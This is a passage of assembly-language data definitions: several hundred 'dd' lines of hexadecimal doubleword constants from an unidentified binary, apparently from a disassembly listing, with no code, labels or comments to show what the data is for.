		dd 0B18A45EBh, 58154Eh,	5B871E1Bh, 0A8E7DEDFh, 0A89F2180h
		dd 13240EA8h, 19CEA0EDh, 1097583Ch, 6E6B1Ch, 49C07812h
		dd 38ED3F4h, 5C9961Fh, 58C52826h, 0D32BDC20h, 6092003Fh
		dd 7C0AE2E0h, 0D8E01D16h, 0C43069E8h, 1FCC81D0h, 14B73B1h
		dd 82033C30h, 0C9D9BAC0h, 0C0FC250Eh, 0CA50560Ah, 42307FA8h
		dd 0F8E8B1A0h, 0F078D482h, 72079E83h, 35218112h, 2AB76840h
		dd 0BE7FA2h, 799D2428h,	0F7EC173Ch, 0F40E7E74h,	0F3934CD2h
		dd 0CCC62C01h, 0AC40C982h, 15CF199h, 0A724086Bh, 0D8CFFFD2h
		dd 0C3038222h, 1ABA9AE0h, 0F888F4B6h, 45F20E77h, 15A0209Eh
		dd 0F40B93DDh, 95BF4700h, 7FEEB82Eh, 0E1BCA0D5h, 184A7F71h
		dd 0D9C9B382h, 0F988A6F8h, 51392609h, 6BBB8970h, 1C85011h
		dd 24251FF9h, 0B55020DEh, 22809E6h, 0FCACC0CFh,	0C4921000h
		dd 6AE16FA6h, 8E800EAh,	0A4BD729Eh, 5C997813h, 14F709h
		dd 0B2B62A60h, 0DA8A8E2h, 0BB9A405Dh, 86102458h, 0E8398EB8h
		dd 876D1925h, 107A193Ch, 31BD182h, 0D7F380A7h, 5170A3C8h
		dd 51996A64h, 35E93CD1h, 84B708h, 0AFCE7506h, 4345E30Ah
		dd 24BFC007h, 5421C986h, 0B02265D8h, 21808813h,	0C7BB8244h
		dd 7FE7D6B0h, 0E3312E1Eh, 219C6D4Ch, 116F001Bh,	80017307h
		dd 2224C87Bh, 48B2445Ah, 4FBF207Fh, 0E0135DF3h,	0EC288DE3h
		dd 83C1000Fh, 0DD590D4Eh, 7A1C9A1Fh, 8440BF4Ah,	0F24CA3FBh
		dd 0A5CC0CC2h, 0E1D163F9h, 0BB1758A8h, 3EFC6F52h, 8F60453Eh
		dd 36899FFh, 641268BBh,	0B0E0B92Ah, 3CAB8D44h, 13186737h
		dd 50FA595Bh, 84E5972Ch, 68D21042h, 6416E838h, 88593991h
		dd 5100F6D0h, 0BD3DD74Dh, 268909E7h, 4D88A7Ah, 885A6B68h
		dd 0AEEE1F20h, 0ADA8CF00h, 8A5D1E8Dh, 914DE496h, 9C6A0850h
		dd 0A6E49E85h, 806D6005h, 0E403E825h, 15B60F69h, 80CBD760h
		dd 0E028EA24h, 0A0897AA8h, 31C8EE40h, 0E3586D53h, 588C1477h
		dd 4CA806FBh, 10C4ED55h, 94971134h, 0B78D3801h,	1877F880h
		dd 5818CC40h, 30D6E883h, 0BA4E757Ch, 1C10AF01h,	318FA78Eh
		dd 1431DC49h, 24182BD2h, 0F0B8071Bh, 0D27DC600h, 0F3303C82h
		dd 0B6AF07DDh, 19A20EA4h, 5C467412h, 897BFA42h,	1FFC4CE5h
		dd 3919185h, 0B5BD1DA8h, 0F8EBA357h, 1D14F03h, 0B9F90296h
		dd 522F3851h, 972070F4h, 3B9EC3h, 0E936723Ah, 32D58EE4h
		dd 0BCBF140Eh, 0D998C1D2h, 4040C55Ah, 4B544E6h,	0C921F18h
		dd 8077086Dh, 952C57EBh, 33315FBCh, 1DE8A84Ah, 0D0208849h
		dd 177A44EBh, 0D3D88158h, 0C3E12830h, 4B8A0E33h, 0C6200181h
		dd 0C15FF672h, 9DE4AA10h, 0C0E96FC4h, 0ECFD05EFh, 0D0997C98h
		dd 1497880Bh, 891B7D08h, 29D076EAh, 0C79E0C12h,	0BC344112h
		dd 9C82F8D5h, 50BC664Eh, 60B85876h, 0B38D4179h,	6E509307h
		dd 8E126BFDh, 202082EBh, 5C84EC29h, 0D306A532h,	0C9E1E37Eh
		dd 9EE85858h, 0F5270180h, 3E92242h, 0F41F290Fh,	59B11074h
		dd 0FD7860E1h, 27C3E5Ch, 3106DFD8h, 3AC864EDh, 6B447401h
		dd 447FC922h, 2707AA63h, 0BBA293FFh, 6495FAC0h,	84D0545Bh
		dd 5990441Dh, 2880D494h, 0D97C1C30h, 340025Eh, 0D8C95C1h
		dd 0FB1BFC81h, 0D8486122h, 6C80ECDAh, 0BCD73960h, 37FA8B00h
		dd 504F58EDh, 42D8A258h, 92448CCh, 46642157h, 256E3104h
		dd 293F7F11h, 18F900B0h, 0F487AF16h, 0F0CA5521h, 0B83433D5h
		dd 899B000Bh, 8F577AC6h, 25003BDBh, 2FE4EEEDh, 9A16FD4Ch
		dd 5F4AA40h, 8827FBE4h,	0BA2BE9B0h, 92C49248h, 80DE1370h
		dd 0B024203Bh, 0D4A4E2E1h, 0AFC544h, 0D51CF9F4h, 0A235CF93h
		dd 6F0274BBh, 9170154Ah, 0E027F8CCh, 44C0C88Ah,	20BE227Bh
		dd 0CC3C52B9h, 94C0FC6Fh, 1EA23E40h, 17038C67h,	6942FBh
		dd 0AF7EEA50h, 0B5233E01h, 38C85925h, 0BA60F4h,	101BD904h
		dd 0B882846h, 0E198AF03h, 318194E8h, 0E5B9EE81h, 0A4A01469h
		dd 80389BE9h, 0FEA6D304h, 6D009D2Eh, 0FBC3ADFFh, 8A3C2E6h
		dd 71BF126Ah, 70389C2Ch, 708F4C5Ch, 0FAD94107h,	0A9731A18h
		dd 11781219h, 0AAB08CC8h, 82EA4607h, 2C0118F8h,	78323543h
		dd 21007B22h, 9D9B5646h, 0C766C6h, 80AD81F0h, 29C0B534h
		dd 7B26120Fh, 392C7511h, 227C8252h, 808DB742h, 1302CF64h
		dd 0F0DF4827h, 64282182h, 89407C24h, 0B6844EF9h, 0FD4BA303h
		dd 0D0ABE2CDh, 0C5A0135h, 2571A4B2h, 202CBB68h,	0AB427C98h
		dd 0FFCC23C2h, 0F8F844B5h, 80E82780h, 0B961710Eh, 850D570Dh
		dd 3903DF40h, 32002423h, 0D1F817DDh, 5C3A4012h,	79BC368Fh
		dd 0F75A1220h, 88B8599Eh, 3EC31179h, 0A2B408A3h, 40EA2Ch
		dd 7F19AAF1h, 0EFA93D78h, 0C9FE8890h, 9C8D88A1h, 1A051929h
		dd 0C8535027h, 0C870C014h, 4C3516Bh, 38CF08Ch, 0ABC8F983h
		dd 80BC8ECFh, 0BF3A2605h, 9ACA2C12h, 58F78060h,	773D0D85h
		dd 0E8419E82h, 2E0F7CC0h, 80C85580h, 86360C3Eh,	919C62BDh
		dd 21207901h, 1C905B4Bh, 40696FBEh, 60DDEB0Bh, 7B0F55BFh
		dd 0A080B5F4h, 0E02BDEE7h, 6251015Eh, 0C3CDD579h, 2138AC72h
		dd 40B33306h, 9B100049h, 0EF6E0A17h, 6700664Fh,	8F6AE95Ch
		dd 71624DFh, 9B210782h,	7CBD2028h, 0FC006009h, 0F827A2D7h
		dd 618F0269h, 798028C7h, 181BD317h, 0E008B203h,	190F596h
		dd 97AF1DF6h, 0F41BD25Eh, 0F188377h, 5D30B17Ah,	5839CE15h
		dd 84BF0733h, 3A3E3001h, 0B000D92Bh, 4BADE90Dh,	0C6AB06A5h
		dd 60342970h, 266A8201h, 5A0577CEh, 50677FFCh, 0AAD5CC7h
		dd 615D351Ch, 12DC0030h
		dd 0FC6E234Fh, 51BB0E0Ch, 523180h, 6C2BDDE1h, 2E75C946h
		dd 0D1ABDC06h, 6F693C27h, 0AC0008FDh, 0FF0959DFh, 2B266075h
		dd 0B0CD61Eh, 2AC721FBh, 3680B5E3h, 1161A2B7h, 7E0780EEh
		dd 84B4A825h, 0E3220563h, 0B1202A2Eh, 0C7C21A4h, 72DB443Dh
		dd 0C3D200AAh, 4D84AB62h, 513B21C6h, 0BA6E0361h, 0FA6D4Ah
		dd 0FE538869h, 1E03A5C5h, 1B34E608h, 8D303C59h,	7EF19551h
		dd 1C1F2D14h, 0E4C71440h, 301D3054h, 83253169h,	0DC7CC0E4h
		dd 0D9C41CFBh, 0C743C10Dh, 396487A8h, 483A010h,	31F1E67Ah
		dd 0FE594B44h, 9C298CB4h, 4BC709Bh, 9A4E23BFh, 727DC1DFh
		dd 803C24D0h, 84694329h, 10001C20h, 29EFD7A5h, 30637D5Eh
		dd 0B7686F5Fh, 81C9F9BEh, 0C04C0DD8h, 0E47F4C53h, 0EC21BB4Ch
		dd 0ACC0E45Ah, 0A0C7052Ah, 0C08F0378h, 0B4F02969h, 0D4391B8Ch
		dd 7848E281h, 20032510h, 730732F0h, 19CC1C00h, 0D7F04D39h
		dd 0AF4232B0h, 90A23320h, 2922B6E1h, 0BB08488Ah, 0BC3103DEh
		dd 46506A07h, 0F898050h, 2BACF252h, 50801CAAh, 8684104Ch
		dd 90724DCh, 205D6520h,	0F3B05398h, 505112Ch, 6788A100h
		dd 24A5C229h, 91A06B10h, 9455033Fh, 98FF14E0h, 0E4C3B7A5h
		dd 0D8E8A0E4h, 1416987Ch, 0A8366917h, 6A0C2192h, 0D3A980F3h
		dd 32A08CA1h, 9A5897EDh, 57FCB5F2h, 35C97801h, 45E11152h
		dd 30708445h, 505A2B6h,	80BFDE6Dh, 0C3D4374Eh, 1179D56Ah
		dd 832AA00h, 68762ACh, 0FDC21E20h, 2FA9F3Bh, 5168DB93h
		dd 0EFC06880h, 4F006004h, 0D3F78307h, 48A96DBBh, 0CE881402h
		dd 48E228BCh, 2A691A40h, 30B48109h, 4D29D76Ah, 0F600A2BCh
		dd 3003787Ch, 1E74725h,	11FF759Ch, 802A5CCDh, 0BFA3C449h
		dd 3C6B05A6h, 0C8092010h, 90910CF1h, 0C20151Bh,	891CFADEh
		dd 0CD45108Eh, 0F50D00E3h, 5E4819F6h, 1784334h,	1B04AB70h
		dd 0B4C568FCh, 0B08FB600h, 87E7038Ch, 0FF7AC0C9h, 54FBEF90h
		dd 445A07B3h, 8E96E05Fh, 7F815C8Ch, 0E9EED101h,	0CDFAD2Fh
		dd 0F15D8C24h, 0B4952180h, 850948CCh, 9015CA01h, 684D4363h
		dd 0EDC3A002h, 728B1B6h, 99001C5Ch, 0FFE99120h,	1285E4Dh
		dd 59E62384h, 24C40B08h, 0C4A87B1Ch, 5D88DE06h,	30BA8810h
		dd 0D8353300h, 0EA45FE4Dh, 6ADF008Dh, 0C894D188h, 234DF26Ch
		dd 507FCC98h, 7B802886h, 8A032944h, 5FDC0288h, 0A48913CCh
		dd 96D838A0h, 6C04FA53h, 0FDC50D1Ch, 3D0CC8h, 6176C4F1h
		dd 4797A4A8h, 0C607A904h, 724189E0h, 0F29E7EDAh, 333380C9h
		dd 1C784990h, 3E3F4405h, 47FCD443h, 90AC4C8Eh, 29440700h
		dd 6743C9F1h, 0C0E451D0h, 790F9314h, 963D016Ch,	98F0A44Bh
		dd 1804AA3Eh, 0E2578044h, 6D6507DDh, 80BD015Dh,	34DA8FDBh
		dd 5C7B81C2h, 3A792015h, 9D03ADB6h, 49AA6591h, 0D202E8DCh
		dd 60A206EAh, 0C9891C5Eh, 33768002h, 6240353h, 275FE96Ah
		dd 7400CCA8h, 138D7D7Fh, 0DC1990FBh, 0C6290B5Ch, 74987910h
		dd 5F104A00h, 0D0ABD3D5h, 2BFD06A5h, 0F01CE24Eh, 4980FE74h
		dd 67917h, 0CBABFD2Dh, 66E62954h, 82BAE93Eh, 5F57518Bh
		dd 1746E3Ch, 0FE55F58Ah, 0CC9EAD73h, 39908F12h,	990312B0h
		dd 6F3BDAB3h, 0DD48A0A2h, 8F16019h, 1D4FD1B4h, 3561E307h
		dd 0FE70BE3Bh, 180E1796h, 30B4DE9Ah, 0C60C9F9Ch, 10520772h
		dd 5D930085h, 0AAE86304h, 7B064025h, 91064114h,	0A0903020h
		dd 36EDFB69h, 2282E700h, 0C3613E7Ah, 73840306h,	9ACB77A8h
		dd 0A0812831h, 718076A1h, 5854B2CDh, 6F01AF7Fh,	0CC638B0Ch
		dd 0E7B586h, 5D8DFD20h,	2BD349A2h, 3C355C28h, 900DAD44h
		dd 5A330F04h, 0FD0C497Ah, 0B301B239h, 988041ABh, 0AC08D7BEh
		dd 5A25788h, 0C5B7AEAFh, 901F39h, 4CFD883Ah, 0DC1E40C3h
		dd 0F300711Fh, 0CD7C95D1h, 0D86903C6h, 0C5CC2BB4h, 1DFDC139h
		dd 74032AACh, 0A34D9140h, 1988187Dh, 58B40828h,	4F00AAFAh
		dd 0E37FA0EAh, 186FA1A6h, 507564B5h, 0E241F4C5h, 31D0130h
		dd 72CE3A14h, 0C880EF20h, 6800E7ADh, 0A4FDEE65h, 0CD4D5CB4h
		dd 0E8C8F258h, 0C1C03FC5h, 88B5EB90h, 7DCD0342h, 0FE3325CBh
		dd 0BBF922h, 51B7D624h,	7C1B730Ah, 888CD581h, 48119A7Ah
		dd 0EF8D7700h, 1A322D3Dh, 0D0B0FADh, 3B83DE2Ah,	703629E3h
		dd 123081F5h, 50D03776h, 0EAC0A834h, 0A0C68E7Bh, 1165EB00h
		dd 0B26056ACh, 0C96759Bh, 0A39050D8h, 0F3004B99h, 0F7CE2026h
		dd 7B382B6h, 3CE393A6h,	2133465h, 4690FD4Ch, 0CEFB020Ch
		dd 0F8FC6FD1h, 47F67C49h, 426C8374h, 21288931h,	0E18174A1h
		dd 0ED4FF021h, 0C8B43087h, 0B5E0600h, 164DB713h, 0E4BA05FAh
		dd 48DD1F42h, 76967CF8h, 19882DF1h, 11B1D8C3h, 8113DBBFh
		dd 9B5D9111h, 29D4191Bh, 0E9A96480h, 0F4271E00h, 3D047FCh
		dd 722F07CAh, 69B14BA2h, 7CBE3422h, 4820D918h, 0C2054E8Fh
		dd 4AA50C36h, 74C5C4h, 70D7ABE4h, 80CC9FBAh, 42BF49D1h
		dd 0FC8C50E2h, 99AA9130h, 7D44227h, 0CB0EF680h,	40C5D321h
		dd 39355100h, 0CF594146h, 0F899ED99h, 8C80380Ch, 0E98CD560h
		dd 93808559h, 6170FF44h, 3A5F486h, 94BF8C55h, 17B83B8Eh
		dd 0FD095683h, 2F22AC36h, 0CF989C28h, 54149449h, 0C84CDC2Fh
		dd 32803AE9h, 0CAB74F0h, 0BEE30017h, 0E6DC3BDFh, 30C08812h
		dd 2FF55D28h, 927B7EC9h, 0E00954C8h, 7A06842Dh,	0AF37165Ch
		dd 3EC53081h, 69138161h, 98361701h, 0D9D50BAh, 0A582424h
		dd 1A6B75DBh, 0F9E30981h, 47C52C24h, 0CDC0CA9Fh, 5D683F1h
		dd 5AA3A0D7h, 949C224Ch, 0FC92D004h, 34602EF7h,	20177490h
		dd 0CF6B1E00h, 5DA39C89h, 39DC05C2h, 35A6DFFBh,	2C2C12BCh
		dd 8A03E0F0h, 0A11A36D1h, 5CAF90CFh, 2288329Bh,	44194F0h
		dd 0A08C14C5h, 0F24B016Ch, 0BF4D7241h, 1822F6B2h, 5294A00Dh
		dd 73EFFEAFh, 0F4F480h,	1BC57395h, 0BE175571h, 4BBFD313h
		dd 2B76B043h, 0C59115ECh, 5F02A845h, 3CF3E6F0h,	19305C66h
		dd 8E829EEh, 7431009Ah,	0E4ED4779h, 870D074Bh, 0B1D9C12Bh
		dd 0FB6FF840h, 0E86A57C8h, 583C3226h, 950082C0h, 0CCA21F44h
		dd 0E648D35Dh, 33C41755h, 30E412FBh, 7D81CA88h,	12739558h
		dd 9C330228h, 3476C0F2h, 0C261C8D3h, 0A98BEA40h, 4C0E001Dh
		dd 6CC63456h, 9600389Dh, 53DC170Dh, 91F262B5h, 93B02460h
		dd 7A9840F9h, 56CB0B8Ah, 1C41053h, 6914B974h, 0EC25F009h
		dd 11248002h, 0C8A0E21Bh, 90E221B7h, 2AD2D900h,	143DE87Ah
		dd 0ACC9030Ah, 43C26AC4h, 67F0A900h, 17021FF3h,	221B3ECEh
		dd 0B2084450h, 498AAF0h, 8C4020F8h, 7C9C989Bh, 64A5401h
		dd 6CE2947Dh, 0B3F81FD4h, 386380E0h, 0B9C972D0h, 47778400h
		dd 0F0F58E0Eh, 47249175h, 8A77E0C8h, 0F8006B69h, 70E7BF9Ah
		dd 0AA53393h, 22379DE5h, 30760448h, 857A4F24h, 9449BE95h
		dd 0DC80DFAAh, 59D0B2B7h, 57DE6A00h, 0B4EB019Fh, 59577A7h
		dd 3C36F8D9h, 73580833h, 105B4C80h, 75EF7023h, 180A63A8h
		dd 2100CAA1h, 7758FEDCh, 12A713FBh, 482071D4h, 8A93B898h
		dd 94025300h, 4819D3AEh, 238D4449h, 37DC21B1h, 0C94C3004h
		dd 89AD5D44h, 99F9D88Eh, 1A683C49h, 6A41A3B3h, 7788374h
		dd 88C17CFBh, 0FE0099DFh, 7612A0F5h, 1CD8A4CBh,	81AD96F0h
		dd 0E23C1036h, 30F82561h, 9B609D14h, 63ABE36Ch,	7FB2A79h
		dd 0C4303CCCh, 7ECBDE01h, 51909DB8h, 11D8D158h,	9410B1F1h
		dd 450A237Dh, 68226BEBh
		dd 8DB24708h, 63190B3Eh, 0A8F90048h, 0B37D3A45h, 8A960A02h
		dd 528C2F5Fh, 230C24C9h, 0F03B0D48h, 0F45559B0h, 0EC5148Ch
		dd 45034624h, 64B98E20h, 393DBA7Ah, 6F09050Dh, 0A4402519h
		dd 0EFD3EECh, 9A643D94h, 7C482BBEh, 0FF07039Fh,	76BAF5F8h
		dd 19528C4Ch, 98B100E4h, 15A7776Ch, 0C029F8EEh,	8FAEBF19h
		dd 8CAA954Ah, 0F25940C0h, 4429F126h, 9DE240E0h,	67609F6Fh
		dd 0E43834EDh, 0BF0705FEh, 9441FCEAh, 3176297Ah, 7D3CE1BCh
		dd 9030FB03h, 0C8A08324h, 0E66028BDh, 3E93F860h, 48DE40A3h
		dd 470D2A00h, 0C52D9AE0h, 9179C041h, 68A14E7Fh,	0F5FC2004h
		dd 0D0C821E6h, 7A038430h, 2C0E5823h, 953BE140h,	1178C1ACh
		dd 41FD0571h, 3800A1A2h, 200BE5B8h, 5CCE49CFh, 24479424h
		dd 0DCAB40D4h, 4202BCAFh, 23730C35h, 0C2148566h, 0EE3E54C8h
		dd 0FA9B0391h, 4CA0B2F1h, 92981948h, 0C0350008h, 51804BFBh
		dd 0ABB2F812h, 58219436h, 0B5806C9Ah, 6FFC7B30h, 9528C900h
		dd 0A1F7F379h, 0CC21C07Fh, 0DEA9DB31h, 19F00325h, 40239198h
		dd 31C7A118h, 0AB12CAF7h, 9489CDEAh, 89DBFC60h,	71319194h
		dd 40A8E41Fh, 23F55EC9h, 7015A2Ch, 175CD5F6h, 0C084CE41h
		dd 2E2F0A4h, 52AE473Bh,	4CA82258h, 2C40A04Ah, 8E8C31B7h
		dd 205209F7h, 7044F044h, 0B214A946h, 0D1808CA7h, 54692CFFh
		dd 3EAE5300h, 7B7472C0h, 0FDDE1364h, 930C0771h,	0A490D46Ah
		dd 68FE1A04h, 60284000h, 4331F018h, 40566154h, 24C02AA3h
		dd 0E588B7C4h, 0E97C0009h, 93FE2E68h, 4FE82265h, 472A1C18h
		dd 36023E88h, 0D179DE72h, 27B304A0h, 0F7003890h, 0E00C1F29h
		dd 9E6BC5h, 8CB3E85h, 5C453742h, 0FD1D40F2h, 0F800553Ah
		dd 8895B902h, 0CE201358h, 25082093h, 9A3B2AC3h,	84A480B8h
		dd 71526CA2h, 4B7200F6h, 40A934FFh, 20585782h, 8CE317F6h
		dd 5BAC4C20h, 649D073Ch, 0E2F12CF3h, 0CCE6AE51h, 1600A877h
		dd 13B94E0Bh, 7D327DCh,	1486D1F9h, 971710EFh, 454E0CDEh
		dd 9F188420h, 0EB2E0352h, 0E0D62498h, 0EE760E88h, 0F8C4DE01h
		dd 8D494244h, 0AA748204h, 0E021002Ah, 0F1741085h, 3F0CA40Eh
		dd 1660142Eh, 125F80C9h, 0D42B05h, 0FB5C6A41h, 3B60C569h
		dd 4717441h, 0A53200E0h, 556AE864h, 94007954h, 8EF2D69h
		dd 92133071h, 0F6C53020h, 0CB62E6F1h, 655D7918h, 0ADD5EAh
		dd 0E79966BFh, 9612346Ah, 0AEA43800h, 29205306h, 0C4A495h
		dd 0DB03CC93h, 0C4C310BBh, 621F3Eh, 8FAC6EECh, 0EE1339Ch
		dd 7D09BA82h, 78177262h, 72190C41h, 9CAE0010h, 28C12FABh
		dd 0A2521D41h, 0D66C064h, 0A64E6F23h, 36FB2C01h, 90F878E7h
		dd 0A4406870h, 6F082C94h, 8A3112D8h, 0DF140208h, 0E0E704ABh
		dd 1FB1B315h, 80251A5Dh, 9CC85E51h, 7D17F13Dh, 58309ABFh
		dd 8968A4h, 0AF514FC2h,	52D9BE9Dh, 5B29D200h, 2231A18Ah
		dd 4CB990h, 0EE085ADBh,	0DE00E23Fh, 0C1AF8024h,	136CE95h
		dd 97DF5F38h, 2C59022Ch, 370C8064h, 71C993Ch, 0C75C9CFDh
		dd 53BC51E2h, 0D114E4BEh, 2BB06A09h, 803890C0h,	9A38E89Bh
		dd 0CC950D4h, 62448185h, 0E94604CCh, 7001EEBBh,	30998022h
		dd 7C88E254h, 0C93A01D2h, 0F52B8C57h, 0F731DC72h, 592C5800h
		dd 0FAE4A6B7h, 0CB7F2476h, 25E42CCCh, 62543423h, 0D24613E8h
		dd 0E289D904h, 0F781D408h, 9463B722h, 421E6A02h, 0F881138Ch
		dd 25B5D34h, 78462028h,	0B1011405h, 1C20FAD2h, 0A7F4A4E4h
		dd 2E712C8Eh, 537A40C4h, 99E2B3ECh, 0E090FB30h,	0A48CFF6Eh
		dd 1470A4h, 0A6159F6Dh,	0C4E824C6h, 80D5BB00h, 0C56F914Bh
		dd 8B86164Eh, 0DD80083Eh, 263ABFBBh, 5D404CB6h,	16272FFCh
		dd 677187AAh, 60F807C8h, 0D73477D4h, 0BA9E5A0Ch, 91F58891h
		dd 0C0A790E0h, 0EC913199h, 50F09A51h, 44C7D81Dh, 2E597670h
		dd 319E8070h, 525047B9h, 0C58F0AEh, 0A621EC48h,	1280D014h
		dd 830B82Bh, 2C27D0Eh, 0AA95B6A0h, 0F0C419E3h, 0BD0C583Ch
		dd 0E93480D0h, 0F9E825B6h, 80F89193h, 0AC5C26FEh, 0B100157Dh
		dd 59387447h, 27E3F0Fh,	633B27BDh, 0CE10FC37h, 4C34E6Dh
		dd 50DDBAF8h, 0CC290638h, 247F2Fh, 30B217B3h, 470A8372h
		dd 4C5ABCA0h, 3580389Bh, 94830E33h, 7AAE00B0h, 3F4CD2E4h
		dd 850024B6h, 4F17C1C8h, 16D9397Bh, 1367A6B3h, 70B8608Ch
		dd 8073CD63h, 5488ED00h, 16E7D7CEh, 572303Dh, 0A1D9EBB0h
		dd 982C0C9Eh, 0CC9E9B0Dh, 0FDFB20h, 0D6B215CCh,	3BA72DE6h
		dd 2B3A7609h, 8EC49h, 2425FC3h,	0D8AE330Eh, 180F09FEh
		dd 7781D470h, 98E20808h, 72DD0990h, 0D8D3ED01h,	0B79C0A0Dh
		dd 4E01DF0h, 83E31A98h,	0B370A488h, 89545D4Ch, 32F8E8A1h
		dd 4E5B0779h, 7021C807h, 9CE27D2Ah, 0FB09FFB8h,	0C81881CBh
		dd 77A51EA0h, 1DA90006h, 0DECD6115h, 8C30F131h,	0D04E593Fh
		dd 6FE0008h, 183E7787h,	89C830E8h, 495A42CEh, 6293D521h
		dd 6FBB69BAh, 70B1F8h, 647F6886h, 6C00A312h, 8E8DB79Bh
		dd 54931EDh, 7D138169h,	9FDC8022h, 0F701581Eh, 0EFBC3FAh
		dd 33F035F0h, 939B24CAh, 64CE40BCh, 93FC454h, 770584E9h
		dd 0F4C0A68Fh, 0B9443B8Eh, 6F940490h, 7DFCC009h, 34487629h
		dd 94F28BE4h, 0D1364498h, 0A9B2830Ch, 963BD944h, 7D944058h
		dd 2B4DC2B8h, 0F507784Ch, 44E44A22h, 0E8BC07C3h, 9EB38EBBh
		dd 95464240h, 4D1D5C80h, 6900F555h, 22A24A3h, 26B59428h
		dd 1334A591h, 9C60164Fh, 4E09800Ch, 5BC3A4h, 36764542h
		dd 7AC9C9D6h, 7F0044C4h, 236C8B29h, 5C54620h, 0B812F5B5h
		dd 0D18002A6h, 0CC1F897h, 90A21477h, 27BC4900h,	0F4B2E8C3h
		dd 0F7599400h, 0D83A1232h, 0F18726C1h, 0B5900CD0h, 4A58E031h
		dd 36200ADh, 755556DCh,	6D11005Dh, 39FD292Dh, 0A11CCCADh
		dd 0B4EB7D64h, 5FA4288h, 203771CEh, 4328F5C8h, 2F80D0F7h
		dd 0B86EB32Eh, 11B68A40h, 0F82301D2h, 58526F07h, 90CC3031h
		dd 3D91BF60h, 1C13AEE1h, 40FBB240h, 4542A057h, 7F026025h
		dd 4B6C89Ch, 20D1D7h, 0CF41E13Eh, 0AF004C74h, 0B968C16Fh
		dd 69977F5Dh, 40026159h, 0C8294207h, 65C90h, 0BF56A7E6h
		dd 80866F97h, 909B3627h, 0A0CDEA18h, 774BD9D3h,	0B3B60567h
		dd 0CCDB7BB0h, 6F001B5Ch, 412F5EACh, 78AE555h, 3513E1D8h
		dd 0D384801Eh, 0B1241992h, 0CD11685Ah, 47F50C01h, 384093A0h
		dd 0DE5858C0h, 82968900h, 39EF67FEh, 6C00C9F9h,	0F0ED0B5h
		dd 9330B099h, 0CF09499Dh, 0E848F1B1h, 40A600CBh, 0F8E3F2B0h
		dd 0CF036181h, 0F0D63B4Ch, 7D08C887h, 6820FB80h, 36FE0092h
		dd 2D4A29EBh, 58B0F025h, 0F4BFF52Dh, 0DE6102D4h, 5859A5B3h
		dd 0A9C85D10h, 0B2A50F40h, 110A6FA4h, 2AE9829Eh, 7C44EBCCh
		dd 0D8D7182Ah, 70E0D900h, 0FB56A8FDh, 0AA620020h, 315CF6A6h
		dd 1E002563h, 0E04E8F3Fh, 91337644h, 0D0F9092Ch, 4C214489h
		dd 73C42BFCh, 0EBC61680h, 44BC4C1Eh, 1BB688EFh,	0E526CC2Eh
		dd 0E0048C0Eh, 8138F5DEh, 59E60B65h, 28119A20h,	0DF14EC66h
		dd 0FFE7B600h, 0A2A61A17h, 8BCC03A8h, 652A150h,	0C480802Ch
		dd 19E1C90Bh, 0BD2D5E8h, 0F00E8C4h, 15C1CF5Fh, 0FE541DD8h
		dd 81D9006Dh, 0CB85CE0Ah, 0A738ACADh, 0BF93181Fh, 1E6779B9h
		dd 79090DA8h, 2568F180h, 5E32E91Dh, 0AA80DA00h,	94B36198h
		dd 0C8A3493Eh, 0C46DFAC4h, 3610802Ch, 349ACCFCh, 0BC6F4417h
		dd 0F97A8CCEh, 8F384472h
		dd 0D8625E00h, 107D064Bh, 6CB29D0Dh, 0A078D0F1h, 590389C0h
		dd 7C7FA6CFh, 0F00DDE01h, 2F2868B0h, 32C7B940h,	20F04E7h
		dd 0A3BE3E56h, 2B2200h,	0C925643Fh, 0E47E9205h,	3BF51500h
		dd 1CD4C612h, 85949939h, 1FB85E44h, 1E3E1160h, 1932F13Bh
		dd 0DC5991h, 34FFABDCh,	0F4177BB2h, 6B00AFD2h, 0A0E5424Bh
		dd 18B57C1Fh, 4938C5D5h, 81009279h, 17B0C7AAh, 0BD68E5h
		dd 77EBCBF3h, 80079CDDh, 597A9300h, 46F8E0Ch, 791B60FBh
		dd 0EAC25CB4h, 0E1A13832h, 87532020h, 97E6CE73h, 0F180A0B1h
		dd 0F8D4132Dh, 8D212658h, 95590938h, 61A4E401h,	3C73C7h
		dd 0A81ABFFAh, 0D29375h, 0EDF7E267h, 588E59A0h,	4A73203Eh
		dd 236868D0h, 0CCB86Dh,	0A31C0A42h, 3C81D096h, 5002B972h
		dd 7FB82BAEh, 0CF0856B4h, 24CF6F40h, 713600Dh, 9888355Fh
		dd 0E4580029h, 972D8D1Bh, 4202A75Ah, 76F8FB92h,	0C0C635h
		dd 9030FD36h, 0BFD0BA3Bh, 0A158440Bh, 0F4CCDAh,	8AC273F5h
		dd 37B82351h, 9BF83801h, 93797D26h, 1D35F048h, 0C0861636h
		dd 97469F33h, 5D494942h, 0EAD92240h, 73DC00B6h,	4430E76Fh
		dd 41C4D3F6h, 30A5C294h, 7CDC8040h, 260D02F5h, 6898C782h
		dd 0C18AE760h, 0C2BE1309h, 8BE45166h, 0C4B099F8h, 40E257B0h
		dd 73933300h, 0E2D716B6h, 418100D6h, 0AE564A90h, 485CCBF2h
		dd 5C3A22A0h, 92016028h, 0B1FC5822h, 2C6BE170h,	6994C0E4h
		dd 4BDD233Eh, 2BA49834h, 94DBCC00h, 22F1BBFAh, 258D07F5h
		dd 0C0023D6Dh, 490CA9A2h, 0BBB2FD00h, 0C3D24001h, 91C60BEBh
		dd 0A81096FBh, 9C992B76h, 56FDA0B2h, 0F36C4014h, 37177526h
		dd 740F910Fh, 360791DEh, 0C12373E2h, 2AB7D5E7h,	0C6C93020h
		dd 78CF008Dh, 284509A3h, 18FAF610h, 0B9F34414h,	2A4D80C0h
		dd 1721DB58h, 1688F74h,	0A2B29CB4h, 102432EEh, 5C00B38Bh
		dd 4527859h, 2D0EF8C3h,	61716719h, 3D9F454Dh, 447A5085h
		dd 313C885Bh, 919BE302h, 0C07963C7h, 482E9260h,	60A1C8F8h
		dd 0A7B3015Bh, 0FBC06032h, 0ACD11CC3h, 0D278D806h, 30ABF7Bh
		dd 4D7AC52Bh, 30F0F944h, 170563FDh, 0C2612031h,	1E2FB0B4h
		dd 0A5BA3Ch, 0B7C7AC1h,	7D1C69B7h, 22C245CEh, 686090D1h
		dd 1E179474h, 1468F829h, 5882B4BFh, 114064E1h, 2E127D5Bh
		dd 18883676h, 810484C4h, 18C5402h, 64689A09h, 65ECCE47h
		dd 813FF800h, 0E6B14CD3h, 1610111h, 0B32C2FA7h,	0A02C2C6Fh
		dd 1CA030h, 72B19EB5h, 5D9F80C7h, 7DD59C0Bh, 235085EEh
		dd 0C207B090h, 60765F9Bh, 1326DF90h, 0A8012BFAh, 9C7B1158h
